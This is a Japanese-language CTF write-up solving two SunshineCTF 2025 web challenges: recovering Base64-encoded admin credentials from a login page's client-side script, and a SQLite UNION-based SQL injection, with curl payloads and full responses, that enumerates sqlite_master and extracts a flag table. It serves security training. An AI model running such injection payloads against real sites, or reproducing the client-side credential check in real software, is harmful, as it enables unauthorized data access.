SunshineCTF 2025
- Sat, 27 Sept. 2025, 14:00 UTC — Mon, 29 Sept. 2025, 14:00 UT
Web: Lunar Auth
- 10pt
- created by
alimuhammadsecured
Question
Infiltrate the LunarAuth admin panel and gain access to the super secret FLAG artifact !
https://comet.sunshinectf.games
We have amazing auth, no robots are allowed — only **admins** may dock. Solve the challenge and gain access to the admin portal.
Webにアクセスすると上記の文言がある
以下にもadmin
のページを示唆しているっぽい
/admin
にアクセスする
Adminのログインフォームが出てきた
robots
も示唆されてるので一応見ておく
/robots.txt
にアクセスする
# tired of these annoying search engine bots scraping the admin panel page logins:
Disallow: /admin
/admin
の存在を示していた
/admin
のページに戻ってソースコードを確認してみると、以下のscriptが記載されていた
<script>
/*
To reduce load on our servers from the recent space DDOS-ers we have lowered login attempts by using Base64 encoded encryption
("encryption" 💀) on the client side.
TODO: implement proper encryption.
*/
const real_username = atob("YWxpbXVoYW1tYWRzZWN1cmVk");
const real_passwd = atob("UzNjdXI0X1BAJCR3MFJEIQ==");
document.addEventListener("DOMContentLoaded", () => {
const form = document.querySelector("form");
function handleSubmit(evt) {
evt.preventDefault();
const username = form.elements["username"].value;
const password = form.elements["password"].value;
if (username === real_username && password === real_passwd) {
// remove this handler and allow form submission
form.removeEventListener("submit", handleSubmit);
form.submit();
} else {
alert("[ Invalid credentials ]");
}
}
form.addEventListener("submit", handleSubmit);
});
</script>
<style>
以下のpasswordは末尾を見るとBase64だろうということがわかる
Cyberchefでデコードする
- username:
YWxpbXVoYW1tYWRzZWN1cmVk
->alimuhammadsecured
- pass:
UzNjdXI0X1BAJCR3MFJEIQ==
->S3cur4_P@$$w0RD!
Answer
この認証情報でadminのログインフォームからログインするとFlagが表示されたページにアクセスされる
Flag は sun{cl1ent_s1d3_auth_1s_N3V3R_a_g00d_1d3A_983765367890393232}
Web: Lunar Shop
- 10pt
- created by
alimuhammadsecured
Question
We have amazing new products for our gaming service! Unfortunately we don't sell our unreleased flag product yet !
Fuzzing is NOT allowed for this challenge, doing so will lead to IP rate limiting!
https://meteor.sunshinectf.games
WebページにアクセスするといくつかのProductが表形式で表示されるアプリケーションであることがわかる
URLを見てみると以下のようにQuery ParameterでProduct Idを渡している
https://meteor.sunshinectf.games/product?product_id=1
このURLに渡したidがそのままSQLで実行されているかどうかを確認するため、'
, ;
を渡してみる
すると以下のようなエラーメッセージが表示されたため、エスケープされずにそのまま入力値をSQLに渡していることがわかる
[ Error occured. --> unrecognized token: "';" ]
つまり、SQLi が刺さる
検証
SQLiで他のテーブルの情報を見たい場合は UNION
結合で他テーブルのデータを持ってくる
UNIONでささるカラム数を調べる
curl -D - "https://meteor.sunshinectf.games/product?product_id=1%20UNION%20SELECT%201" ❮❮❮
HTTP/2 200
server: nginx/1.24.0 (Ubuntu)
date: Wed, 01 Oct 2025 15:16:29 GMT
content-type: text/html; charset=utf-8
content-length: 1071
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Products</title>
<style>
body { font-family: Arial, sans-serif; background:#0b0f18; color:#d8f6ff; }
table { border-collapse: collapse; width: 100%; margin-top: 20px; }
th, td { border: 1px solid #2a3c4f; padding: 10px; text-align: left; }
th { background: #102030; }
tr:nth-child(even){ background: #111a28; }
.err { color: #ff8080; font-weight: bold; }
</style>
</head>
<body>
<!-- Display error message if set -->
<p class="err">[ Error occured. --> SELECTs to the left and right of UNION do not have the same number of result columns ]</p>
<h1>Available Space Products 🚀</h1>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
</body>
</html>%
UNION SELECT 1
だと
[ Error occured. --> SELECTs to the left and right of UNION do not have the same number of result columns ]
とあるようにカラム数があわないということ
表示しているデータ数は4つなので4つでやってみる
curl -D - "https://meteor.sunshinectf.games/product?product_id=1%20UNION%20SELECT%201,2,3,4" ❮❮❮
HTTP/2 200
server: nginx/1.24.0 (Ubuntu)
date: Wed, 01 Oct 2025 15:18:13 GMT
content-type: text/html; charset=utf-8
content-length: 938
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Products</title>
<style>
body { font-family: Arial, sans-serif; background:#0b0f18; color:#d8f6ff; }
table { border-collapse: collapse; width: 100%; margin-top: 20px; }
th, td { border: 1px solid #2a3c4f; padding: 10px; text-align: left; }
th { background: #102030; }
tr:nth-child(even){ background: #111a28; }
.err { color: #ff8080; font-weight: bold; }
</style>
</head>
<body>
<!-- Display error message if set -->
<h1>Available Space Products 🚀</h1>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
</tr>
</tbody>
</table>
</body>
</html>%
先ほどの結果と比較すると、以下の<td></td>
部分に指定した1,2,3,4が表示されている
つまり、4つのカラムで指定しれあげてば他テーブルからデータが取得できる
だが、他テーブルの情報がわからない
ここでGPTに聞いて、他テーブルの情報を探る方法がないか確認する
SQLiteが利用されている場合、sqlite_master
テーブル内で確認できるよう
title: "テーブルスキーマ(構造)の確認"
image: "https://www.javadrive.jp/sqlite/table/img/p2-0.png"
description: "SQLite でデータベースに作成されているテーブルがどのような CREATE 文を使って作成されたのかを確認する方法について解説します。 sqlite_master テーブルを利用する方法と .schema コマンドを使用する方法の二通りがあります。"
url: "https://www.javadrive.jp/sqlite/table/index2.html"
favicon: ""
aspectRatio: "51.93370165745856"
sqlite_master
TableにはDB内のテーブルの作成情報が格納されている
ここのデータを引っ張れればどんなテーブルがあるかわかりそう
curl -D - "https://meteor.sunshinectf.games/product?product_id=1%20UNION%20SELECT%20null,tbl_name,name,sql%20FROM%20sqlite_master--"
HTTP/2 200
server: nginx/1.24.0 (Ubuntu)
date: Wed, 01 Oct 2025 16:06:18 GMT
content-type: text/html; charset=utf-8
content-length: 1051
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Products</title>
<style>
body { font-family: Arial, sans-serif; background:#0b0f18; color:#d8f6ff; }
table { border-collapse: collapse; width: 100%; margin-top: 20px; }
th, td { border: 1px solid #2a3c4f; padding: 10px; text-align: left; }
th { background: #102030; }
tr:nth-child(even){ background: #111a28; }
.err { color: #ff8080; font-weight: bold; }
</style>
</head>
<body>
<!-- Display error message if set -->
<h1>Available Space Products 🚀</h1>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>None</td>
<td>flag</td>
<td>flag</td>
<td>CREATE TABLE flag (
id INTEGER PRIMARY KEY AUTOINCREMENT,
flag TEXT NOT NULL UNIQUE
)</td>
</tr>
</tbody>
</table>
</body>
</html>%
Answer
id
とflag
からなるflag tableがあることがわかった
次はflag tableをUNIONで結合する
product_id自体は存在しない-1
に指定
curl -D - "https://meteor.sunshinectf.games/product?product_id=-1%20UNION%20SELECT%20id,flag,null,null%20FROM%20flag--" ❮❮❮
HTTP/2 200
server: nginx/1.24.0 (Ubuntu)
date: Wed, 01 Oct 2025 16:10:02 GMT
content-type: text/html; charset=utf-8
content-length: 1026
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Products</title>
<style>
body { font-family: Arial, sans-serif; background:#0b0f18; color:#d8f6ff; }
table { border-collapse: collapse; width: 100%; margin-top: 20px; }
th, td { border: 1px solid #2a3c4f; padding: 10px; text-align: left; }
th { background: #102030; }
tr:nth-child(even){ background: #111a28; }
.err { color: #ff8080; font-weight: bold; }
</style>
</head>
<body>
<!-- Display error message if set -->
<h1>Available Space Products 🚀</h1>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}</td>
<td>None</td>
<td>None</td>
</tr>
</tbody>
</table>
</body>
</html>%
flag が表示されている
Flag は sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}